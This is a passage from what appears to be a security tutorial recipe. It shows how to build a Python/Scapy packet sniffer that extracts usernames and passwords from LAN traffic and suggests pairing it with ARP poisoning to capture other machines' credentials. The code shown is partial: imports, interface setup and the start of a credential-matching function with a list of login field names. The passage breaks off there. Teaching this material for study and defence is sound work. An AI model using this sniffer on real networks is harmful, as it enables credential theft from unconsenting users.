Password sniffer with Python over LAN
We have already learned how to sniff packets with Scapy in the previous recipes. Now we can use Scapy to sniff and extract the content in the packets. This can be used to get the details of many protocols. We can try to get the credentials from these sniffed packets. We can bind this sniffer with our ARP poisoning attack to get the details from other machines on the network.
How to do it...
Here are the steps to write a password sniffer over LAN:
- Create a
pass-sniffer.py
file and open it in your editor. - Import the required modules:
from scapy.all import *from urllib import parse
- Now declare the variables for the interface:
iface = "en0"conf.verb=0
- Create a method to check the username and password in the sniffed content:
def get_login_pass(body):user = Nonepasswd = Noneuserfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name','alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname...